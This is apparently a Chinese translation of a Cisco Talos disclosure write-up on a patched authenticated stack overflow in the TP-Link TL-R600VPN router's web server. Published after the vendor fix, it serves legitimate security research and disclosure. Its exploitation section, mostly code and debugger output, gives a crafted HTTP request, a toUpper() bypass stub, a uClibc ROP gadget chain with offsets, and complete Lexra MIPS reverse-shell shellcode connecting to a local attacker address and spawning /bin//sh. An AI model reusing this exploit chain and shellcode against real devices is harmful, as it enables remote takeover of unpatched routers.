一、概述
TP-Link最近修复了TL-R600VPN千兆宽带VPN路由器中的3个漏洞,固件版本为1.3.0。在与TP-Link合作确保补丁成功发布之后,Cisco Talos公开披露了这些漏洞。目前,已经发布了解决方案,因此我们希望能深入研究这些漏洞的内部工作方式,并展示出我们的概念证明。
二、背景
TP-Link TL-R600VPN是一款五端口的小型办公室/家庭路由器。该路由器在芯片上集成了Realtek RTL8198集成系统。这个特殊的芯片使用了Lexra开发的MIPS-1架构的分支。除了处理器未对齐加载(Unaligned Load)和存储操作中使用了一些专有指令外,这两个指令集基本相同。在Lexra中未包含的说明包括LWL、SWL、LWR和SWR。这些专有指令通常在更为常见的MIPS-1架构编译程序时使用,如果在Lexra中出现则将会导致段错误(Segfault)。针对这一路由器,要有针对性地开发出漏洞利用代码,必须要首先了解这一关键性的差异。
要了解更多有关Lexra MIPS的知识,以及它与MIPS-1架构的不同之处,请参阅《Lexra的故事》和《MIPS-1专利申请》。
三、侦查阶段
3.1 了解漏洞
在该设备HTTP服务器处理对/fs/目录请求的过程中,存在一个漏洞,允许经过身份验证的攻击者远程执行设备上的代码。
在访问/fs/目录中的下述任意页面时,应用程序会错误地解析传递的HTTP头部。
http://<router_ip>/fs/help http://<router_ip>/fs/images http://<router_ip>/fs/frames http://<router_ip>/fs/dynaform http://<router_ip>/fs/localiztion(请注意,这里不是拼写错误)
在函数httpGetMimeTypeByFileName中,Web服务器尝试解析所请求页面的文件扩展名,以确定其Mime类型。在这一处理过程中,服务器使用strlen()调用来确定所请求页面名称的长度,并寻找该堆分配字符串(Heap-allocated String)的末尾,并向后读取文件扩展名,直到遇到句点(0x2e)。
# # calculates the length of the uri and seeks to the end # LOAD:00425CDC loc_425CDC: LOAD:00425CDC la $t9, strlen LOAD:00425CE0 sw $zero, 0x38+var_20($sp) LOAD:00425CE4 jalr $t9 ; strlen LOAD:00425CE8 sh $zero, 0x38+var_1C($sp) LOAD:00425CEC addu $s0, $v0 # looks for a period at the current index and break out when found LOAD:00425CF0 li $v0, 0x2E LOAD:00425CF4 lbu $v1, 0($s0) LOAD:00425CF8 lw $gp, 0x38+var_28($sp) LOAD:00425CFC beq $v1, $v0, loc_425D14 LOAD:00425D00 li $v1, 0b101110 LOAD:00425D04 # loop backwards until a period is found, loading the character into $s0 LOAD:00425D04 loc_425D04: LOAD:00425D04 addiu $s0, -1 LOAD:00425D08 lbu $v0, 0($s0) LOAD:00425D0C bne $v0, $v1, loc_425D04 LOAD:00425D10 nop
在请求的页面上,应该始终包含一个扩展名,以防止产生易受攻击的漏洞。这一点,可以在下面针对费恶意页面/web/dynaform/css_main.css的GDB字符串输出中看到,其中将解析文件扩展名“css”。
0x67a170: "/web/dynaform/css_main.css" 0x67a18b: "46YWRtaW4=" 0x67a196: "\nConnection: close\r\n\r\nWRtaW4=\r\nConnection: close\r\n\r\n6YWRtaW4=\r\nConnection: close\r\n\r\n46YWRtaW4=\r\nConnection: close\r\n\r\ntaW4=\r\nConnection: close\r\n\r\n http://192.168.0.1/\r\nAuthorization: Basic YWRtaW46YWRt"... 0x67a25e: "aW4=\r\nConnection: close\r\n\r\nnnection: close\r\n\r\n" 0x67a28d: "" 0x67a28e: "" 0x67a28f: "" 0x67a290: ""
但是,如果我们请求其中一个易受攻击的页面,我们可以看到解析的URI不包含句点(0x2e)。因此,应用程序将会继续向后搜索,直到达到一定时间。在这种情况下,在解析的URI和早先存储在堆上的原始GET请求数据之间(如下面的地址0x679960所示),没有一段时间能让我们向后搜索我们的Payload。这一点,可以在下面针对恶意页面/fs/help的GDB字符串输出的地址0x67a170处看到,其中并没有解析文件的扩展名。
... 0x679960: "/fs/help" 0x679969: "elp" 0x67996d: "HTTP/1.1" 0x679976: "\n" 0x679978: "ost: 192.168.0.1\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q"... 0x679a40: "=0.5\r\nAccept-Encoding: gzip, deflate\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\n" 0x679ac1: "" 0x679ac2: "" 0x679ac3: "" 0x679ac4: "" 0x679ac5: "" ... 0x67a165: "gp" 0x67a169: "" 0x67a16a: "\b" 0x67a16c: "" 0x67a16d: "" 0x67a16e: "" 0x67a16f: "" 0x67a170: "/web/help" 0x67a17a: "secure-Requests" 0x67a18a: " 1" 0x67a18d: "\n\r\nure-Requests: 1\r\n\r\nclose\r\nUpgrade-Insecure-Requests: 1\r\n\r\nUpgrade-Insecure-Requests: 1\r\n\r\n\nUpgrade-Insecure-Requests: 1\r\n\r\nsic YWRtaW46YWRtaW4=\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\na"... 0x67a255: "tion: Basic YWRtaW46YWRtaW4=\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\nure-Requests: 1\r\n\r\n" 0x67a2ba: "" 0x67a2bb: "" 0x67a2bc: "" ...
当遇到句点时,在预期的文件扩展名或存在漏洞的情况下,提取的字符串将逐字节地由toUpper()函数处理,然后通过存储字节指令,将该操作的结果写入基于栈的缓冲区。我们可以从上述循环中提取的指令看出,具体如下。
# # 通过$s0寄存器的存储字节调用,将解析后的数据加载到栈中 # LOAD:00425D20 loc_425D20: LOAD:00425D20 lbu $a0, 0($a0) # 尽可能返回字符的大写形式 LOAD:00425D24 jalr $t9 ; toUpper LOAD:00425D28 nop # $gp引用$s2,栈缓冲区中下一个char的位置 LOAD:00425D2C lw $gp, 0x38+var_28($sp) # 将字符存储到$s2中 LOAD:00425D30 sb $v0, 0($s2) LOAD:00425D34 # 计算整个用户提供字符串的长度 LOAD:00425D34 loc_425D34: LOAD:00425D34 la $t9, strlen LOAD:00425D38 jalr $t9 ; strlen # 将指向解析数据的指针放入arg0 LOAD:00425D3C move $a0, $s0 LOAD:00425D40 addiu $v1, $sp, 0x38+var_20 LOAD:00425D44 lw $gp, 0x38+var_28($sp) LOAD:00425D48 sltu $v0, $s1, $v0 LOAD:00425D4C addu $a0, $s0, $s1 LOAD:00425D50 addu $s2, $v1, $s1 LOAD:00425D54 la $t9, toupper
程序继续执行,直到它到达httpGetMimeTypeByFileName函数结尾,其中返回地址和五个寄存器都从它们在栈中保存的值来加载。当漏洞被利用时,这些保存的值将会被精心构造的数据覆盖,从而包含Gadget的地址,我们将在后面详细分析。
# # 寄存器会被栈中保存的值覆盖 # LOAD:00425DB4 loc_425DB4: LOAD:00425DB4 LOAD:00425DB4 lw $ra, 0x38+var_4($sp) LOAD:00425DB8 lw $s4, 0x38+var_8($sp) LOAD:00425DBC lw $s3, 0x38+var_C($sp) LOAD:00425DC0 lw $s2, 0x38+var_10($sp) LOAD:00425DC4 lw $s1, 0x38+var_14($sp) LOAD:00425DC8 lw $s0, 0x38+var_18($sp) LOAD:00425DCC jr $ra LOAD:00425DD0 addiu $sp, 0x38 LOAD:00425DD0 # httpGetMimeTypeByFileName函数结束
在函数结束的地方,将数据复制到缓冲区的循环已经覆盖了栈上的原始数据。通过弹出(POP)栈中数据,程序可以保证未被修改,用户获得对返回地址的控制。这也就意味着,用户能够在HTTPD进程的上下文中远程执行代码。
3.2 toUpper()过滤器
在HTTP头部的初始解析期间,设备会迭代每个字节,搜索句点(0x2e)并构建缓冲区。在遇到句点后,缓冲区将传递给toUpper()调用,将缓冲区中的每个ASCII字符转换为相对应的大写字符。
LOAD:00425D20 loc_425D20: LOAD:00425D20 lbu $a0, 0($a0) # returns an upper case version of the character where possible LOAD:00425D24 jalr $t9 ; toUpper LOAD:00425D28 nop
这在尝试通过HTTP头部发送ShellCode时会产生问题,因为无法避免使用toUpper()调用,所以也就无法使用任何小写字符。例如,请参考下面的GET请求。
GET /fs/help HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Content-Length: 2 Accept-Encoding: gzip, deflate Authorization: Basic YWRtaW46YWRtaW4= Connection: keep-alive Upgrade-Insecure-Requests: 1 Content-Length: 4
我们在执行httpGetMimeTypeByFileName函数结束的最后一次跳转之前查看寄存器,可以看到头部中的“a”字符(0x61)已经转换为对应的大写形式(0x41)。
(GDB) i r i r zero at v0 v1 a0 a1 a2 a3 R0 00000000 10000400 00514004 00000035 7dfff821 0051432d 01010101 80808080 t0 t1 t2 t3 t4 t5 t6 t7 R8 00000002 fffffffe 00000000 00000006 19999999 00000000 00000057 00425d2c s0 s1 s2 s3 s4 s5 s6 s7 R16 41414141 41414141 41414141 41414141 41414141 006798f4 006798d0 00000000 t8 t9 k0 k1 gp sp s8 ra R24 00000132 2ab02820 00000000 00000000 00598790 7dfff808 7dfffa62 41414141 status lo hi badvaddr cause pc 0000040c 00059cf8 000001fa 00590cac 00000024 00425dcc (GDB)
四、整理思路
我们对上面获得的寄存器内容进行检查,发现在toUpper()调用之后,留下了一个可以预测的、接近原始头部数据位置的指针。
尽管打断了httpGetMimeTypeByFileName函数结尾的最后一次跳转,但我们可以检查栈中的数据。我们发现,大写形式的头部数据的一部分(包含Payload)目前存储在栈中。
(GDB) x/32s $sp x/32s $sp 0x7dfff808: "" 0x7dfff809: "" ... 0x7dfff81f: "" 0x7dfff820: "5\r\n", 'A' <repeats 197 times>... 0x7dfff8e8: 'A' <repeats 200 times>... 0x7dfff9b0: 'A' <repeats 200 times>... 0x7dfffa78: 'A' <repeats 200 times>... 0x7dfffb40: 'A' <repeats 143 times>, "\r\nCONTENT-LENGTH: 0\r\nACCEPT-ENCODING: GZIP, DEFLATE\r\nAUTH"... 0x7dfffc08: "ORIZATION: BASIC YWRTAW46YWRTAW4=\r\nCONNECTION: KEEP-ALIVE\r\nUPGRADE-INSECURE-REQUESTS: 1\r\nCONTENT-LENGTH: 0\r\n\r\n" 0x7dfffc77: "" 0x7dfffc78: "" 0x7dfffc79: "" ... (GDB)
相反,如果我们检查寄存器$s5指向位置之后的数据,我们会看到原始头部数据仍然可以访问。
(GDB) x/32s $s5+0x64 x/32s $s5+0x64 0x679958: "" 0x679959: "" ... 0x67995f: "" 0x679960: "/fs/help" 0x679969: "elp" 0x67996d: "HTTP/1.1" 0x679976: "\n" 0x679978: "ost: 192.168.0.1\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q"... 0x679a40: "=0.5\r\n", 'a' <repeats 194 times>... 0x679b08: 'a' <repeats 200 times>... 0x679bd0: 'a' <repeats 200 times>... 0x679c98: 'a' <repeats 200 times>... 0x679d60: 'a' <repeats 146 times>, "\r\nContent-Length: 0\r\nAccept-Encoding: gzip, deflate\r\nA"... 0x679e28: "uthorization: Basic YWRtaW46YWRtaW4=\r\nConnection: keep-alive\r\nUpgrade-Insecure-Requests: 1\r\nContent-Length: 0\r\n\r\n" 0x679e9a: "" 0x679e9b: "" ... (GDB)
我们检查该部分内存的权限,发现这一部分是可以执行的。因此,初步考虑直接跳转到原始头部。
# cat /proc/12518/maps cat /proc/12518/maps 00400000-00538000 r-xp 00000000 1f:02 69 /usr/bin/httpd 00578000-00594000 rw-p 00138000 1f:02 69 /usr/bin/httpd 00594000-006a6000 rwxp 00000000 00:00 0 [heap] 2aaa8000-2aaad000 r-xp 00000000 1f:02 359 /lib/ld-uClibc-0.9.30.so 2aaad000-2aaae000 rw-p 00000000 00:00 0 2aaae000-2aab2000 rw-s 00000000 00:06 0 /SYSV0000002f (deleted) 2aaec000-2aaed000 r--p 00004000 1f:02 359 /lib/ld-uClibc-0.9.30.so ... 7f401000-7f600000 rwxp 00000000 00:00 0 7fcf7000-7fd0c000 rwxp 00000000 00:00 0 [stack]
由于toUpper()和早期strcmp()引入的限制,我们最终发现这并不是一个有价值的漏洞利用路径。toUpper()的使用为我们创造了一个条件,其中的任何小写字母都必须被视为是“坏”字符。另外,由于我们的数据要通过strcmp()调用,所以我们不能使用任何空字节。总而言之,上述这些调用使我们无法使用0x00和0x61-0x7a之间的字节。
五、漏洞利用
5.1 绕过toUpper()
为了解决toUpper()带来的问题,我们创建了一小段调用memcpy()的代码,它在获得$ra的控制权之后,不使用任何小写字符或空字节来执行。使用此代码,我们能够以原始形式将头部数据复制到栈中,并跳转到相应位置,从而实现执行。
move $a0, $t9 # put the stack pointer into arg1 addiu $a0, 0x12C # increase arg1 so we don’t overwrite this code addiu $a1, $s5, 0x198 # load the raw header data pointer into arg2 li $a2, 0x374 # load the size into arg3 li $t9, 0x2AB01E20 # load $t9 with the address of memcpy() jalr $t9 # call memcpy() move $t8, $t3 # placeholder to handle delay slot without nulls move $t9, $sp # prep $t9 with the stack pointer addiu $t9, 0x14C # increase the $t9 pointer to the raw header jalr $t9 # execute the raw header on the stack move $t8, $t3 # placeholder to handle delay slot without nulls
在我们使用这种技术之前,我们需要找到一种方法来获取memcpy()代码的执行。很幸运,我们已经在这个设备上找到了一个可执行的栈,但是我们还不清楚代码最终会在哪里。最后,我们使用了一种改进后的ret2libc技术,允许我们利用uClibc中的Gadget,来获取栈的指针,并为我们的代码设置寄存器。
我们的第一个Gadget位于uClibc偏移地址0x0002fc84的位置,用于将栈指针递增0x20,以超过任何memcpy ShellCode。为了确保在这个Gadget返回后保留对程序执行的控制,我们将第二个Gadget的地址放在了0x20+$sp的位置,如下所示。
LOAD:0002FC84 lw $ra, 0x20+var_8($sp) LOAD:0002FC88 jr $ra LOAD:0002FC8C addiu $sp, 0x20
位于uClibc偏移地址0x000155b0的第二个Gadget用于获取指向递增栈缓冲区的指针。这会将所需的指针放入到寄存器$a1中。我们将第三个Gadget的地址放在0x58+$sp的位置,以确保在返回这个Gadget后能够保留对程序执行的控制,如下所示。
LOAD:000155B0 addiu $a1, $sp, 0x58+var_40 LOAD:000155B4 lw $gp, 0x58+var_48($sp) LOAD:000155B8 sltiu $v0, 1 LOAD:000155BC lw $ra, 0x58+var_8($sp) LOAD:000155C0 jr $ra LOAD:000155C4 addiu $sp, 0x58
最后,位于uClibc偏移地址0x000172fc的Gadget用于跳转到栈缓冲区。
LOAD:000172FC move $t9, $a1 LOAD:00017300 move $a1, $a2 LOAD:00017304 sw $v0, 0x4C($a0) LOAD:00017308 jr $t9 LOAD:0001730C addiu $a0, 0x4C # 'L'
我们需要获取uClibc的加载位置,以便我们可以计算出能够成功使用这些Gadget的真实位置。查看下面的进程内存映射,我们就可以看到可执行版本的uClibc加载到地址0x2aaee000。
# cat /proc/12518/maps cat /proc/12518/maps 00400000-00538000 r-xp 00000000 1f:02 69 /usr/bin/httpd 00578000-00594000 rw-p 00138000 1f:02 69 /usr/bin/httpd 00594000-006a6000 rwxp 00000000 00:00 0 [heap] 2aaa8000-2aaad000 r-xp 00000000 1f:02 359 /lib/ld-uClibc-0.9.30.so 2aaad000-2aaae000 rw-p 00000000 00:00 0 2aaae000-2aab2000 rw-s 00000000 00:06 0 /SYSV0000002f (deleted) 2aaec000-2aaed000 r--p 00004000 1f:02 359 /lib/ld-uClibc-0.9.30.so 2aaed000-2aaee000 rw-p 00005000 1f:02 359 /lib/ld-uClibc-0.9.30.so 2aaee000-2ab21000 r-xp 00000000 1f:02 363 /lib/libuClibc-0.9.30.so 2ab21000-2ab61000 ---p 00000000 00:00 0 2ab61000-2ab62000 rw-p 00033000 1f:02 363 /lib/libuClibc-0.9.30.so 2ab62000-2ab66000 rw-p 00000000 00:00 0 2ab66000-2ab68000 r-xp 00000000 1f:02 349 /lib/librt-0.9.30.so 2ab68000-2aba7000 ---p 00000000 00:00 0 ... 7f001000-7f200000 rwxp 00000000 00:00 0 7f200000-7f201000 ---p 00000000 00:00 0 7f201000-7f400000 rwxp 00000000 00:00 0 7f400000-7f401000 ---p 00000000 00:00 0 7f401000-7f600000 rwxp 00000000 00:00 0 7fcf7000-7fd0c000 rwxp 00000000 00:00 0 [stack]
通过获取uClibc的加载地址,并将其添加到为每个Gadget获得的偏移地址,我们就可以获得所需代码的可用地址。然后,可以策略性地放置在这些地址,从而导致执行我们的初始代码,随后执行我们的Payload。
5.2 LexraMIPS ShellCode
虽然LexraMIPS基于MIPS规范,但在尝试执行某些标准MIPS指令时,它确实存在偏差,从而导致不一致的问题。因此,我们选择使用GCC工具链(http://nonmips.sourceforge.net/),专门为LexraMIPS开发ShellCode。下面的代码采用创建与攻击者的连接的方式,将stdin、stdout和stderr复制到套接字文件描述符中,最后生成一个Shell。
我们首先在设备上打开一个套接字,然后利用特定的技术,避免$t7寄存器上出现任何空字节。应该注意,MIPS $zero寄存器在使用过程中不包含任何的空字节。
li $t7, -6 # set up $t7 with the value 0xfffffffa nor $t7, $t7, $zero # nor $t7 with zero to get the value 0x05 w/o nulls addi $a0, $t7, -3 # $a0 must hold family (AF_INET - 0x02) addi $a1, $t7, -3 # $a1 must hold type (SOCK_STREAM - 0x02) slti $a2, $zero, -1 # $a2 must hold protocol (essentially unset - 0x00) li $v0, 4183 # sets the desired syscall to 'socket' syscall 0x40404 # triggers a syscall, removing null bytes
打开套接字后,我们使用一个connect系统调用,创建从设备到攻击者服务器的TCP连接。在这里,空字节是一个问题,因为在设备的默认子网中就包含0。为了解决这一问题,我们采用了一种技术,强制特定的寄存器值溢出,并产生所需的IP地址,从而避免使用空字节。
sw $v0, -36($sp) # puts the returned socket reference onto the stack lw $a0, -36($sp) # $a0 must hold the file descriptor - pulled from the stack sw $a1, -32($sp) # place socket type (SOCK_STREAM - 0x02) onto the stack lui $t7, 8888 # prep the upper half of $t7 register with the port number ori $t7, $t7, 8888 # or the $t7 register with the desired port number sw $t7, -28($sp) # place the port onto the stack lui $t7, 0xc0a7 # put the first half of the ip addr into $t7 (192.166) ori $t7, 0xff63 # put the second half of the ip addr into $t7 (255.99) addiu $t7, 0x101 # fix the ip addr (192.166.255.99 --> 192.168.0.100) sw $t7, -26($sp) # put the ip address onto the stack addiu $a1, $sp, -30 # put a pointer to the sockaddr struct into $a1 li $t7, -17 # load 0xffef into $t7 for later processing nor $a2, $t7, $zero # $a2 must hold the address length - 0x10 li $v0, 4170 # sets the desired syscall to 'connect' syscall 0x40404 # triggers a syscall, removing null bytes
要确保设备能接受我们的输入,并正确显示任何输出,我们必须复制stdin、stdout和stderr文件描述符。通过将每个I/O文件描述符复制到套接字中,我们成功的为设备提供了输入,并通过刚刚设置的连接来查看任何输出内容。
lw $t7, -32($sp) # load $t7 for later file descriptor processing lw $a0, -36($sp) # put the socket fd into $a0 lw $a1, -32($sp) # put the stderr fd into $a1 li $v0, 4063 # sets the desired syscall to 'dup2' syscall 0x40404 # triggers a syscall, removing null bytes lw $t7, -32($sp) # load $t7 for later file descriptor processing lw $a0, -36($sp) # put the socket fd into $a0 addi $a1, $t7, -1 # put the stdout fd into $a1 li $v0, 4063 # sets the desired syscall to 'dup2' syscall 0x40404 # triggers a syscall, removing null bytes lw $t7, -32($sp) # load $t7 for later file descriptor processing lw $a0, -36($sp) # put the socket fd into $a0 addi $a1, $t7, -2 # put the stdin syscall into $a1 li $v0, 4063 # sets the desired syscall to 'dup2' syscall 0x40404 # triggers a syscall, removing null bytes
最后,我们使用execve系统调用,在设备本地生成Shell。由于这个Shell是从我们的套接字生成的,并且此时已经控制了stdin、stdout和stderr,因此我们可以通过连接,来远程控制新的Shell。
lui $t7, 0x2f2f # start building the command string --> // ori $t7, $t7, 0x6269 # continue building the command string --> bi sw $t7, -20($sp) # put the string so far onto the stack lui $t7, 0x6e2f # continue building the command string --> n/ ori $t7, $t7, 0x7368 # continue building the command string --> sh sw $t7, -16($sp) # put the next portion of the string onto the stack sw $zero, -12($sp) # null terminate the command string addiu $a0, $sp, -20 # place a pointer to the command string into arg 1 sw $a0, -8($sp) # place a pointer to the command string array onto the stack sw $zero, -4($sp) # null terminate the array addiu $a1, $sp, -8 # load the pointer to our command string array into arg 2 slti $a2, $zero, -1 # sets $a2 to 0 li $v0, 4011 # sets the desired syscall to 'execve' syscall 0x40404 # triggers a syscall, removing null bytes
通过设备上的功能性Shell,我们就可以继续对设备进行后漏洞利用(Post-Exploitation)分析。
六、总结
本文中所描述的漏洞类型,在很多物联网设备中都非常常见。攻击者可以发现这些漏洞,并对它们进行武器化,从而在存在漏洞的设备上执行代码。我们必须意识到,物联网设备的本质其实是计算机,并且如同常规的计算机那样,必须维护物联网设备的软件更新,以确保设备尽可能安全。
Talos团队将持续发现漏洞,并进行负责任的披露,与厂商密切合作以确保客户能受到保护,并在必要时提供额外的深度分析。通过披露这些0-Day漏洞,有助于提高人们日常使用的设备和软件的整体安全性。Talos将致力于这项工作,寻找可能被恶意攻击者利用的漏洞或缺陷。